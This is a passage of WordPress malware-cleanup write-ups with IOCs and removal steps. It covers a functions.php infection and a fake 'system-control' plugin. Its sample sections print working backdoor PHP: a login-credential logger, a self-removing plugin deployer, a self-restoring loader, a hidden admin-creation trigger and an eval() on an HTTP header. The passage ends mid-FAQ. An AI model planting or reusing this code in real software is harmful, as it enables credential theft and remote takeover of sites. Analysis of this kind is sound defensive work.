Was WP File Manager definitely the original cause?

Not proven from the screenshots alone. It is visible in the environment and should be reviewed because it provides convenient file access inside wp-admin, but the initial intrusion vector remains unknown based on the provided evidence.

What should I check in the database?

Check the wp_options table for _pre_user_id, and review wp_users and wp_usermeta for unauthorized administrator accounts or unusual capabilities. Do not rely only on what wp-admin shows you.

Could there be more malware than the files shown here?

Yes. The samples are representative, not necessarily complete. The reference to session-manager.php and the nature of WordPress reinfection cases both suggest the visible MU-plugin files may be only part of a larger compromise.

Proof statement: Based on representative malware samples and screenshots collected during real WordPress cleanup work by MD Pabel, this pattern is evidenced by malicious code in wp-content/mu-plugins that both enables gated remote PHP execution and hides a selected WordPress user from admin listings. The exact first intrusion path is not proven from the screenshots alone, but the persistence and concealment behavior are strongly supported by the observed code and admin UI symptoms.

Confidence: Root cause low, persistence high, screenshot read high, IOCs high.

Infected WordPress functions.php stealing logins and dropping a fake plugin

MD Pabel — Thu, 23 Apr 2026 00:00:00 +0000

Quick Answer

If your theme functions.php contains an authenticate hook that writes username:password pairs to uploads, or a plugin_deployer block that creates wp-content/plugins/wp-perf-analytics/, treat the site as fully compromised. Replace the infected theme with a clean copy, remove the fake plugin and deployer flag files, check uploads for the disguised credential log, rotate all WordPress, hosting, database, and FTP passwords, and review for additional persistence such as mu-plugins, rogue admins, and scheduled tasks.

What This Threat Pattern Is

This is a credential-theft and persistence infection inside a WordPress theme file. The representative infected functions.php sample contains ordinary theme code for a real theme, then appends malicious logic near the end. The first malicious addition hooks into WordPress authentication and captures successful usernames and passwords. The second addition acts as a deployer that writes a fake plugin into wp-content/plugins/wp-perf-analytics/, using embedded base64 data as the plugin payload. The deployer also includes self-cleanup logic so the installer block can remove itself from functions.php after it has done its job. That combination makes this more than a one-file hack: it is a multi-part WordPress backdoor pattern with credential theft and plugin-based persistence.

What Visitors May See

Often nothing obvious on the public site at first; this pattern is designed to hide while stealing logins and installing persistence.
Unexpected plugin entries such as a generic-looking performance or analytics plugin if the attacker wants the dropped plugin to blend in.
Theme file warnings, broken functionality, or unusual code visible in the Theme File Editor if a site owner inspects functions.php.
Security plugin alerts about modified theme files, suspicious base64 payloads, or unauthorized plugin creation.
In some cases, recurring reinfection after the theme file is cleaned because the dropped plugin remains in place.

Screenshot-Based Symptoms

The screenshots show a theme functions.php file open in a code editor with clearly injected malware near the bottom of the file. One screenshot shows a plugin_deployer section tied to the WordPress init hook, along with logic that references WP_CONTENT_DIR, creates a plugin directory, and uses the slug wp-perf-analytics. Another screenshot shows a long base64-encoded payload assigned for later decoding and writing as plugin code. For a site owner, the visible symptom is not a hacked homepage banner but a normal theme file followed by suspicious credential logging and plugin installer code that does not belong in a legitimate theme.

Screenshot Findings

Code editor open to functions.php showing a long base64_decode payload assigned to $code after plugin deployer logic. The visible lines reference WP_CONTENT_DIR, /plugins/, and slug wp-perf-analytics. — This screenshot shows the malicious payload staging section where encoded plugin code is embedded into the theme file for later deployment into a fake plugin directory.
Code editor open to a theme functions.php path ending in /themes/trighton/functions.php with a comment plugin_deployer, init hook, self-clean logic, .plugin_deployer flag creation, and slug set to wp-perf-analytics. — This screenshot shows the persistence loader embedded in the active theme file. It is intended to write a fake plugin and then erase its own deployer block from functions.php.

Why This Usually Means the Site Is Compromised

This WordPress threat pattern centers on a compromised theme functions.php file with two high-confidence malicious behaviors: it records successful WordPress usernames and passwords, and it deploys a fake plugin named wp-perf-analytics to keep access after the visible theme infection is removed. In the representative sample reviewed here, the credential logger writes to a file disguised as an image under uploads, while a self-cleaning deployer writes a persistent plugin into wp-content/plugins. Even if the original injected block later disappears from functions.php, the dropped plugin can remain behind.

Likely Root Cause

The initial entry point is not proven by this sample alone. The available evidence does not show whether the attacker first got in through a vulnerable plugin, compromised hosting credentials, a reused admin password, or another writeable component. What is supported strongly by the code is that once the theme file was modified, it was used to capture valid logins and plant a more durable foothold through a fake plugin.

Why It Keeps Coming Back

This pattern comes back because cleaning only functions.php is often not enough. The injected theme code is designed to create another component under wp-content/plugins/wp-perf-analytics/, and it uses a flag file under wp-content to manage deployment. It also stores stolen credentials in uploads, which can give the attacker another way back in even after file cleanup. If the plugin remains, if stolen passwords are still valid, or if other persistence points were planted elsewhere, the site can be reinfected quickly.

Files and Directories to Check

Active theme directory, especially functions.php
wp-content/plugins/wp-perf-analytics/
wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png
wp-content/.plugin_deployer_*
wp-content/mu-plugins/
Other theme files in the same active theme directory
WordPress users list for unexpected administrator accounts
Scheduled tasks, cron events, and security or maintenance plugins with recent unexplained changes

Removal Targets Inferred From The Samples

theme_file: functions.php — Representative infected theme functions.php contains both credential theft and plugin deployer code. Replace with a clean vendor/original copy rather than editing in place.
plugin_directory: wp-content/plugins/wp-perf-analytics/ — Fake plugin directory is explicitly created by the malware as a persistence component and should be removed entirely after preserving forensic evidence if needed.
file: wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png — Disguised uploads file is used to store stolen WordPress usernames and passwords, not a legitimate image asset.
file: wp-content/.plugin_deployer_* — Flag files are part of the malicious deployer workflow and should be removed during cleanup.
theme_directory: active theme directory containing functions.php — Because the supplied functions.php is a representative infected theme file, the whole active theme should be reviewed and ideally replaced from a known-good source to catch adjacent modifications.

Technical Analysis

The representative infected functions.php sample contains clear malicious logic appended to otherwise normal theme code. One block registers add_filter('authenticate', ... , 999, 3), receives the authentication result, username, and password, and appends successful credentials in username:password format using file_put_contents. The destination path is base64-obfuscated but decodes to wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png, which is a strong sign of disguised credential storage rather than any valid image workflow. A second marked block, beginning with plugin_deployer , runs on init, writes a throttle flag under WP_CONTENT_DIR, creates wp-content/plugins/wp-perf-analytics/ if missing, and decodes an embedded base64 blob intended to become plugin code. The deployer then attempts to strip its own marked block from the current file with regex-based self-removal and invalidates opcode cache if available. Those behaviors support a strong conclusion of malicious persistence: the theme file acts as an installer, the fake plugin acts as the longer-term foothold, and the hidden uploads file acts as a credential collection store. Sample SHA256: 6a62ef9bd858f00b92050d3d40a9d5adb220861c7763f5761a806a6524853f0a.

Attack Chain

Attacker gains write access to the WordPress site through an unknown initial vector.
Theme functions.php is modified with a credential logger and a plugin deployer.
On successful WordPress logins, usernames and passwords are appended to a disguised file under uploads.
On init, the deployer creates or refreshes a fake plugin directory named wp-perf-analytics under wp-content/plugins.
Embedded base64 data is decoded into plugin code for persistence.
The deployer removes its own marked installer block from functions.php to reduce obvious signs.
Attacker retains access through the dropped plugin, stolen credentials, or both.

Evidence Notes

Representative infected functions.php sample shows an authenticate hook that logs successful credentials only when authentication does not return WP_Error and username and password are non-empty.
The credential log path decodes to wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png, indicating a disguised storage file masquerading as media.
The sample contains a visible plugin_deployer marker, a strong indicator of installer-style malware rather than accidental corruption.
The deployer explicitly sets the slug wp-perf-analytics and targets wp-content/plugins/wp-perf-analytics/.
The deployer writes a .plugin_deployer_ flag file under wp-content, suggesting deliberate redeployment control.
The screenshots show the malicious block inside a theme path ending in /themes/trighton/functions.php and a large base64 payload tied to the fake plugin deployment.
The supplied file is described as a representative sample from a larger cleanup case, so additional persistence elsewhere on the site remains plausible and should be checked.

Representative Malware Samples

FILE: `functions.php`

Why it matters: Authenticate hook logs successful WordPress credentials to a disguised file under uploads.

add_filter('authenticate', function($u, $l, $p) {
  if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
    @file_put_contents(ABSPATH . '[uploads path disguised as image]', $l . ':' . $p . PHP_EOL, FILE_APPEND);
  }
  return $u;
}, 999, 3);

FILE: `functions.php`

Why it matters: Malicious deployer creates a fake plugin directory named wp-perf-analytics under wp-content/plugins.

$slug = 'wp-perf-analytics';
$dir = WP_CONTENT_DIR . '/plugins/' . $slug;
if (!is_dir($dir)) @mkdir($dir, 0755, true);
$code = base64_decode('[redacted encoded plugin payload]');

FILE: `functions.php`

Why it matters: Self-cleaning logic attempts to remove the deployer block from the infected theme file after execution, helping the malware hide its original installer.

$clean = preg_replace('/\/\*\s* __plugin_deployer__ \s*\*\/[\s\S]*?\/\*\s* __plugin_deployer_end__ \s*\*\//', '', $c);
if ($clean !== $c) {
  @file_put_contents($tmp, $clean);
  @rename($tmp, $self);
  if (function_exists('opcache_invalidate')) @opcache_invalidate($self, true);
}

Indicators of Compromise (Public-Safe)

6a62ef9bd858f00b92050d3d40a9d5adb220861c7763f5761a806a6524853f0a
wp-perf-analytics
wp-content/uploads/2024/06/Stained_Heart_Red-600x500[.]png
wp-content/[.]plugin_deployer_*
__plugin_deployer__

Removal Strategy

Because the representative sample shows credential theft plus a plugin deployer, removal should be handled as a full compromise cleanup, not a quick code edit. Preserve evidence first if you need incident records, then replace compromised files from known-good sources and rotate credentials immediately.

Manual Removal Protocol

Take the site offline or place it in maintenance mode if possible to reduce further credential capture during cleanup.
Create a full backup of files and database for forensic purposes before making changes.
Download and preserve the infected functions.php sample, the fake plugin directory if present, the disguised uploads file, and any .plugin_deployer flag files as evidence.
Replace the infected theme with a clean vendor or original copy. Do not rely on editing out only the visible malicious lines in functions.php.
Remove the entire wp-content/plugins/wp-perf-analytics/ directory if it exists, after preserving a copy for analysis if needed.
Delete malicious deployer flag files matching wp-content/.plugin_deployer_*.
Inspect wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png and similar suspicious media-named files. Treat them as sensitive because they may contain stolen usernames and passwords.
Rotate all WordPress user passwords immediately, starting with administrators, editors, authors, and any account that logged in while the infection was active.
Rotate hosting panel, SFTP/FTP, SSH, database, and any deployment credentials tied to the site.
Force logout of all users and invalidate existing sessions where possible.
Review the WordPress users table and admin area for rogue users or changed email addresses.
Check wp-content/mu-plugins/, wp-config.php, active plugins, and autoloaded database options for additional loaders or backdoors.
Reinstall WordPress core from a clean source if you cannot fully account for all changed files.
Scan the full account, not just the WordPress site, for adjacent infected sites or shared hosting cross-contamination.
After cleanup, monitor file changes and login events closely for signs of re-entry.

Hardening Checklist

Enable multifactor authentication for all administrator accounts.
Remove unused themes and plugins, especially abandoned commercial packages and bundled theme components.
Keep WordPress core, plugins, themes, and server software updated.
Disable direct file editing in the WordPress admin.
Limit write permissions so the web server cannot freely modify theme and plugin code unless operationally required.
Use unique passwords for WordPress, hosting, database, and SFTP/SSH accounts.
Add file integrity monitoring for wp-content and alert on new plugin directories or changes to functions.php, wp-config.php, and mu-plugins.
Review admin users and roles regularly for unexpected privilege changes.
Use a web application firewall and malware scanning, but do not treat them as substitutes for file replacement and credential rotation after a confirmed compromise.
Separate sites into different hosting accounts or containers where possible to reduce cross-site reinfection risk.

FAQ

Is this just a suspicious theme customization, or definite malware?

Based on the representative sample, this is definite malware. A legitimate theme does not hook authentication to save successful usernames and passwords into a disguised file under uploads, and it does not silently deploy a fake plugin from an embedded base64 payload.

Why would credentials be stored in a .png file path?

To hide in plain sight. Attackers often use filenames and locations that look like normal media so site owners are less likely to inspect them. In this case, the path decodes to what appears to be an image in uploads, but the code writes plain credential lines to it.

If I clean functions.php, am I done?

No. The evidence shows a persistence mechanism that drops a plugin named wp-perf-analytics. If that plugin exists, removing only functions.php will not fully clean the compromise. You also need to rotate passwords because valid credentials may already have been stolen.

What should I search for on disk?

Start with the exact markers supported by the sample: plugin_deployer , wp-perf-analytics, wp-content/.plugin_deployer_*, and the disguised uploads path wp-content/uploads/2024/06/Stained_Heart_Red-600x500.png. Then expand the review to the full active theme, mu-plugins, wp-config.php, and recently modified files across wp-content.

Could the fake plugin be inactive and still matter?

Yes. Even an inactive-looking plugin directory matters because it may contain backdoor code, may have been active earlier, may be reactivated by other malware, or may simply be one artifact in a broader compromise. It should be preserved for evidence and then removed from the live site.

Do I need to reset only WordPress passwords?

No. Reset WordPress passwords first, but also rotate hosting control panel, SFTP/FTP, SSH, database, and any API or deployment secrets tied to the site. If the attacker captured admin credentials, they may have used them to add other access paths.

What if the plugin_deployer block is gone now?

That does not make the site clean. The sample includes self-removal logic, so the installer may delete its own block after writing the plugin. That is why you must also check for the dropped wp-perf-analytics plugin, deployer flag files, and other persistence points.

Proof statement: This assessment is based on representative malware samples and screenshots collected during real WordPress cleanup work by MD Pabel. The conclusions here are grounded in directly observed code behavior from the supplied functions.php sample, including credential logging, disguised storage in uploads, fake plugin deployment, and self-cleaning persistence logic.

Confidence: Root cause low, persistence high, screenshot read high, IOCs high.

WordPress fake system-control plugin and MU-plugin backdoor

MD Pabel — Wed, 22 Apr 2026 00:00:00 +0000

Quick Answer

If you are seeing a system-control plugin, a hidden wp-content/.sc-backup directory, unexplained admin account changes, fake CAPTCHA or casino spam overlays, or odd MU-plugin files, treat the site as fully compromised. The representative samples support a high-confidence finding of a multi-part WordPress backdoor and persistence infection, not a harmless plugin conflict.

What This Threat Pattern Is

This is a multi-component WordPress malware pattern built for attacker access, persistence, and monetization. The representative infected functions.php sample contains heavily obfuscated request-driven backdoor logic. A separate loader file restores a fake plugin called system-control from a hidden backup path and re-activates it if removed. Another file creates or resets an administrator account when a simple URL trigger is hit. A representative mu-plugin sample executes arbitrary PHP from a custom HTTP header. Taken together, these samples show a backdoor set designed to survive partial cleanup and keep attacker access even if one component is found first.

What Visitors May See

Casino spam popups or bonus offers on the frontend
Fake “I’m not a robot” or reCAPTCHA-style overlays
Spam redirects or deceptive interstitial pages
Injected SEO or doorway-style pages from suspicious theme or plugin folders
Intermittent behavior where the site looks normal to some visitors and malicious to others

Screenshot-Based Symptoms

The uploaded screenshots show both filesystem and frontend symptoms. On the filesystem side, there is a hidden wp-content/.sc-backup directory containing a system-control folder, plus a wp-content/plugins/system-control directory and another suspicious plugin-like folder named seo-1775448316. The wp-content/themes view also shows many generated directory names such as author-template-1775540802, category_template_1774883751, custom-file-1-1775828015, error_404_1775568333, home_1774883621, page_template_1776152091, top_1775448331, and widget_area_1774883683, which is not normal for a clean WordPress theme setup. On the frontend side, the screenshots show a large casino promotion popup with bonus language and promo code text, followed by a fake “I’m not a robot” overlay presented like reCAPTCHA. Those are visible visitor-facing symptoms consistent with spam or redirect monetization.

Screenshot Findings

File manager view of wp-content/.sc-backup showing a hidden backup directory with a system-control subfolder. — This screenshot shows a hidden backup-style directory under wp-content that matches the loader's restoration path and supports persistence.
File manager view of wp-content with a hidden .sc-backup folder highlighted. — This is a visible indicator of hidden persistence storage inside wp-content, which normal site owners may notice during cleanup.
Large casino popup saying SPECIAL BONUS, Visit our Casino and get $100 to $3,000, NO DEPOSIT BONUS, Promo Code GG26. — This is a clear visitor-facing spam/casino monetization symptom associated with the infection.
Fake I'm not a robot reCAPTCHA-style overlay displayed over a blurred casino popup background. — This indicates deceptive interstitial behavior layered on top of spam content, often used in redirect or social engineering campaigns.
File manager view of wp-content/plugins showing a suspicious system-control folder and another suspicious plugin-like folder named seo-1775448316. — This supports the presence of a fake plugin and at least one additional suspicious plugin directory.
File manager view of wp-content/themes showing many suspicious generated directories such as author-template-1775540802, category_template_1774883751, custom-file-1-1775828015, error_404_1775568333, home_1774883621, page_template_1776152091, top_1775448331, and widget_area_1774883683. — These generated theme-like directories strongly suggest dropped spam templates or malicious components beyond the single sampled theme file.

Why This Usually Means the Site Is Compromised

This WordPress infection pattern is not a single bad file. The representative samples show a multi-part compromise spanning the active theme, normal plugins, must-use plugins, and a hidden backup folder used for restoration. In this case, the strongest confirmed signals are a fake plugin named system-control that restores and re-activates itself, a must-use plugin backdoor that executes attacker-supplied PHP from a custom header, and a trigger-based script that can create or reset an administrator account. The screenshots also show visible spam behavior on the frontend, including a casino promotion popup and a fake CAPTCHA overlay.

Likely Root Cause

The original entry point is not proven by these samples alone. The evidence does support a broader compromise across multiple writable WordPress areas, which usually means the attacker already had enough access to modify theme files, add plugins, plant MU-plugins, and create hidden backup storage under wp-content. That level of spread is more important than guessing the first exploit, because removal will fail if you only delete one visible file.

Why It Keeps Coming Back

It keeps coming back because the infection has more than one persistence layer. The loader sample checks for wp-content/plugins/system-control/system-control.php on every load and restores it from wp-content/.sc-backup/system-control if it is missing. The same loader also re-activates the plugin if it is present but inactive, and hides delete or deactivate actions in wp-admin. Separately, the MU-plugin sample gives the attacker direct code execution through a custom header, and the admin-reset file can recreate privileged access on demand. Even if one file is removed, the others can restore access or reinstall components.

Files and Directories to Check

Active theme functions.php and the rest of the active theme directory
wp-content/plugins/system-control/
wp-content/.sc-backup/
wp-content/.sc-backup/system-control/
The exact location of sc-loader.php
The exact location of site-compat-layer.php
wp-content/mu-plugins/ including test-mu-plugin.php
WordPress administrator accounts, especially unexpected or recently changed admins
wp-content/plugins/seo-1775448316 if present
Suspicious generated directories under wp-content/themes such as author-template-, category_template\ _, custom-file-, error_404_ , home\ _, page_template_ , top\ _, and widget_area_

Removal Targets Inferred From The Samples

theme_file: functions.php — Representative infected active theme functions file containing an obfuscated backdoor/spam component. Replace with a clean vendor/original copy from the legitimate theme, and review the whole active theme for additional injected files.
plugin_file: sc-loader.php — Persistence loader that restores and reactivates the malicious system-control plugin and resists deletion from wp-admin.
plugin_directory: wp-content/plugins/system-control — Fake malicious plugin with remote-management, redirect, self-protect, admin-bypass, and file-management capabilities. Remove the entire component, not only the sampled main file.
hidden_backup_path: wp-content/.sc-backup — Hidden persistence storage referenced by the loader and shown in screenshots; contains backup material used to restore the malicious plugin.
hidden_backup_path: .sc-backup/system-control — Explicit restoration source for the fake system-control plugin.
plugin_file: site-compat-layer.php — Unauthorized admin creation/reset trigger that provides attacker re-entry via compat=verify.
mu_plugin_path: test-mu-plugin.php — Must-use plugin backdoor that evals attacker-supplied code from the HTTP_D44B195 header.
unauthorized_admin_review: WordPress administrator accounts — The malware contains logic to create or reset an admin user named bennett and to grant administrator privileges. Review all admin users, remove unauthorized accounts, and rotate credentials.
plugin_directory: wp-content/plugins/seo-1775448316 — Suspicious plugin-like directory shown in screenshots with generated naming consistent with malicious spam components. Review and likely remove as part of the larger infection set if not a verified legitimate plugin.
theme_directory: wp-content/themes/author-template-1775540802 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/category_template_1774883751 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/category_template_1775464359 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/custom_file_2_1776097215 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/custom-file-1-1775828015 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/custom-file-1-1775891203 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/error_404_1775568333 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/home_1774883621 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/page_template_1776152091 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/top_1775448331 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.
theme_directory: wp-content/themes/widget_area_1774883683 — Suspicious generated theme directory shown in screenshots, likely part of dropped spam/template payloads.

Technical Analysis

The evidence supports a critical WordPress compromise with multiple independent access paths. The representative infected functions.php sample is heavily obfuscated and includes custom decoding logic, request parsing branches, file writing, mail sending, and process execution via popen or proc_open. It also suppresses errors, extends execution time, and ignores user aborts, which is typical of general-purpose backdoor or spam-sending code. The representative sc-loader.php sample is explicit persistence code: it hooks into plugins_loaded, checks for wp-content/plugins/system-control/system-control.php, restores the plugin from wp-content/.sc-backup/system-control if missing, and activates it with activate_plugin(). It also removes delete and deactivate actions for that plugin and blocks deletion attempts. The representative site-compat-layer.php sample runs on wp_loaded and, when compat=verify is supplied, creates or resets a WordPress administrator account and ensures administrator capability. The representative mu-plugin backdoor sample reads the HTTP_D44B195 header from $_SERVER and passes it to eval(), which is direct remote code execution. The representative system-control.php sample presents itself as a benign plugin but defines a remote panel URL, loads modules for admin bypass, file management, plugin blocking, self-protect logic, redirects, display links, and broad REST API endpoints for users, plugins, themes, files, database, content, sync, and settings. That combination is not normal maintenance tooling; it is consistent with attacker-controlled remote management and monetization infrastructure. The screenshots reinforce that this was not confined to one file: hidden backup storage exists, suspicious plugin and generated theme directories exist, and visitors were exposed to casino spam and fake CAPTCHA overlays.

Attack Chain

Attacker gains enough access to write into theme, plugin, MU-plugin, and hidden wp-content paths.
Obfuscated code is placed into theme functions.php to provide request-driven backdoor or spam functionality.
A fake system-control plugin is installed under wp-content/plugins/system-control.
A loader file ensures the fake plugin is restored from wp-content/.sc-backup/system-control and re-activated if removed or disabled.
A separate trigger file allows the attacker to create or reset an administrator account using a simple URL parameter.
A MU-plugin backdoor provides arbitrary PHP execution through a custom HTTP header.
The broader plugin set appears to handle redirects, display links, bot filtering, file management, and remote administration, enabling spam or redirect monetization on the frontend.

Evidence Notes

Representative infected functions.php sample: SHA-256 c19604246e220a59f972abba125d30e4a7285591526e1885250fcfc49cf233ef.
Representative sc-loader.php sample: SHA-256 c9275d633f09286fec0a44b86a4cb1f5e2ee30f35cdb2f2429ea3472d5832e05.
Representative site-compat-layer.php sample: SHA-256 f3a125f6ff20cc5b7bfb1bd2454790e1ddb2b6a9b17a77685906791d14bbc11a.
Representative MU-plugin backdoor sample test-mu-plugin.php: SHA-256 6eeb37c1dad22e8072333caf7bc0f914435c99b109c6c36b113cc32fd87601b8.
Representative fake plugin main file system-control.php: SHA-256 087ffe95cccaf053b00164570ad2443bbc00e2fa07416fb00c29ab11db2e30a9.
Representative auxiliary file WordPressSecureMode.php: SHA-256 dfb5fe7e741d31e258c81b9a6088f77be78a8e53e7c67f5ff27751fc6d2d1027.
Public IOC: hidden path wp-content/.sc-backup/system-control referenced by loader code and shown in screenshots.
Public IOC: REST namespace system-control/v1 defined in the representative fake plugin sample.
Public IOC: custom header HTTP_D44B195 used by the representative MU-plugin backdoor.
Public IOC: query trigger compat=verify used by the representative admin-reset file.
Public IOC: username bennett appears in the representative admin-reset sample, but usernames alone should not be used as sole proof of compromise.
Public IOC: domain fuckingpanel[.]com appears as the panel URL in the representative fake plugin sample.

Representative Malware Samples

FILE: `sc-loader.php`

Why it matters: Self-restoring persistence loader that recreates and reactivates the fake plugin from a hidden backup directory and interferes with admin removal.

add_action('plugins_loaded', function() {
    $plugin_dir = WP_PLUGIN_DIR . '/system-control';
    $main_file = $plugin_dir . '/system-control.php';
    $backup_dir = WP_CONTENT_DIR . '/.sc-backup/system-control';

    if ((!is_dir($plugin_dir) || !is_file($main_file)) && is_dir($backup_dir)) {
        sc_loader_copy_dir($backup_dir, $plugin_dir);
        include_once ABSPATH . 'wp-admin/includes/plugin.php';
        activate_plugin('system-control/system-control.php');
    }

    if (is_file($main_file)) {
        include_once ABSPATH . 'wp-admin/includes/plugin.php';
        if (function_exists('is_plugin_active') && !is_plugin_active('system-control/system-control.php')) {
            activate_plugin('system-control/system-control.php');
        }
    }
}, 1);

FILE: `site-compat-layer.php`

Why it matters: Trigger-based unauthorized admin creation/reset logic that grants or restores administrator access when compat=verify is requested.

add_action('wp_loaded', 'site_compatibility', 9999);

function site_compatibility() {
    if (!isset($_GET['compat']) || $_GET['compat'] !== 'verify') {
        return;
    }

    $username = 'bennett';
    $password = '[REDACTED]';

    $exists = username_exists($username);
    $user = $exists ? get_user_by('login', $username) : false;

    if (!$user || !is_object($user)) {
        $uid = wp_create_user($username, $password, $email);
        $user_obj = new WP_User($uid);
        $user_obj->set_role('administrator');
    } else {
        if (!wp_check_password($password, $user->user_pass, $user->ID)) {
            wp_set_password($password, $user->ID);
        }
        if (!$user->has_cap('administrator')) {
            $user->add_cap('administrator');
        }
    }
}

FILE: `test-mu-plugin.php`

Why it matters: Minimal MU-plugin backdoor that executes arbitrary PHP from a custom HTTP header.

$body_class_yc = $_SERVER;
$body_class_omo = 'HTTP_D44B195';
$body_class_be = isset($body_class_yc[$body_class_omo]);
if ($body_class_be) {
    $body_class_yv = $body_class_yc[$body_class_omo];
    eval($body_class_yv);
}

FILE: `system-control.php`

Why it matters: Main fake plugin file showing remote panel linkage, broad modular capabilities, and attacker-controlled REST namespace.

define( 'SC_PANEL_URL', 'hxxps://fuckingpanel[.]com' );
define( 'SC_PANEL_SECRET', '[REDACTED]' );
define( 'SC_REST_NAMESPACE', 'system-control/v1' );

require_once SC_PLUGIN_DIR . 'includes/class-sc-admin-bypass.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-filemanager.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-plugin-blocker.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-self-protect.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-redirect-handler.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-display-links.php';

require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-users-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-plugins-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-themes-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-files-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-database-endpoint.php';

FILE: `functions.php`

Why it matters: Obfuscated theme injection with request-driven behavior and system command execution support, consistent with a general-purpose backdoor/spam component.

function __construct()
{
    @set_time_limit(300);
    @ignore_user_abort(true);
    if (empty($_REQUEST)) {
        die;
    }
}

private function _ys($_du, $_cs, $_kle, $_ov, $_cal, $_ems = "")
{
    if (@mail($_kle, $_ov, $_cal, $_ems)) {
        return true;
    }
}

private function _bhj($_jv, $_bnc, $_mti, $_exo)
{
    if ($_mti) {
        $_cxt = @popen($_jv, 'w');
        @fputs($_cxt, $_bnc . $this->_kp);
        return @pclose($_cxt);
    } elseif ($_exo) {
        $_iyk = @proc_open($_jv, $_zn, $_lpp);
        @fputs($_lpp[0], $_bnc . $this->_kp);
        return @proc_close($_iyk);
    }
}

Indicators of Compromise (Public-Safe)

c19604246e220a59f972abba125d30e4a7285591526e1885250fcfc49cf233ef
c9275d633f09286fec0a44b86a4cb1f5e2ee30f35cdb2f2429ea3472d5832e05
f3a125f6ff20cc5b7bfb1bd2454790e1ddb2b6a9b17a77685906791d14bbc11a
6eeb37c1dad22e8072333caf7bc0f914435c99b109c6c36b113cc32fd87601b8
087ffe95cccaf053b00164570ad2443bbc00e2fa07416fb00c29ab11db2e30a9
dfb5fe7e741d31e258c81b9a6088f77be78a8e53e7c67f5ff27751fc6d2d1027
fuckingpanel[.]com
wp-content/plugins/system-control/system-control[.]php
wp-content/[.]sc-backup/system-control
system-control/v1
HTTP_D44B195
compat=verify
bennett

Removal Strategy

Remove this as a coordinated infection, not as isolated files. If you only delete the visible fake plugin, the hidden backup or MU-plugin backdoor can restore it. If you only remove the admin user, the trigger file can recreate it. Work from a known-good backup of the site files if available, or replace compromised components with clean originals from trusted sources.

Manual Removal Protocol

Take the site offline or place it behind maintenance protection before cleanup so the attacker cannot continue using the backdoors during remediation.
Make a full forensic backup of files and database before changing anything.
Delete the persistence loader file sc-loader.php from its actual on-disk location after confirming it is not part of legitimate site code.
Delete the entire wp-content/plugins/system-control directory, not just system-control.php.
Delete the hidden backup storage at wp-content/.sc-backup and verify that wp-content/.sc-backup/system-control is gone.
Delete the representative MU-plugin backdoor test-mu-plugin.php and inspect the entire mu-plugins directory for any other unexpected files.
Remove site-compat-layer.php from its actual on-disk location after confirming it is not legitimate, because it contains unauthorized administrator creation and password reset logic.
Replace the infected theme functions.php with a clean vendor or trusted original copy, and review the whole active theme for other injected PHP files.
Review suspicious plugin and theme directories shown in the screenshots, including seo-1775448316 and the generated theme-like directories, and remove any that are not verified legitimate site assets.
Audit WordPress users and remove any unauthorized administrators. Review not only usernames but also capability changes and recently modified accounts.
Rotate all WordPress admin passwords, hosting panel passwords, SFTP/SSH credentials, and database credentials after file cleanup.
Force logout all users and invalidate active sessions where possible.
Reinstall WordPress core from a trusted source and replace all plugins and themes with clean copies from official or verified vendors.
Scan the database for injected options, rogue scheduled tasks, hidden admin settings, spam posts, doorway pages, and malware references to system-control, compat=verify, or related artifacts.
Check wp-config.php, .htaccess, server-level startup files, and cron jobs for added persistence.
After cleanup, monitor the filesystem for recreation of system-control, .sc-backup, or unknown MU-plugin files.

Hardening Checklist

Disable file editing in WordPress and restrict who can write to wp-content.
Keep WordPress core, themes, and plugins updated from trusted sources only.
Remove unused themes and plugins so attackers have fewer places to hide.
Use file integrity monitoring on wp-content, mu-plugins, and wp-admin/plugin activation events.
Review administrator accounts regularly and alert on new admin creation.
Restrict access to hosting, SFTP, SSH, and database tools with strong unique passwords and MFA.
Harden PHP execution so uploads and non-code directories cannot run arbitrary PHP where not needed.
Log and review unusual headers, especially custom headers being sent to WordPress, because header-based backdoors can bypass normal URL-based detection.
Monitor for hidden directories under wp-content such as dot-prefixed backup folders.
Use a web application firewall and server-side malware scanning, but do not rely on either as the only cleanup step.

FAQ

Is the system-control plugin legitimate?

Based on the representative samples, no. The plugin family shown here restores itself from a hidden backup, re-activates itself, blocks deletion, exposes attacker-style management endpoints, and is tied to admin bypass, file management, redirect, and self-protect functionality. Those are malicious behaviors, not normal WordPress maintenance features.

Why does the malware return after I delete the plugin?

Because the plugin is only one part of the infection. The loader restores it from wp-content/.sc-backup, the MU-plugin provides separate code execution, and the admin-reset script can restore attacker access. Partial cleanup is why this pattern often reappears.

What is the most dangerous file in this set?

There is no single safe choice to leave behind. The MU-plugin eval backdoor is especially dangerous because it can execute arbitrary PHP from a request header, but the loader and admin-reset file are also critical because they preserve persistence and account access.

Could the weird theme folders be harmless leftovers?

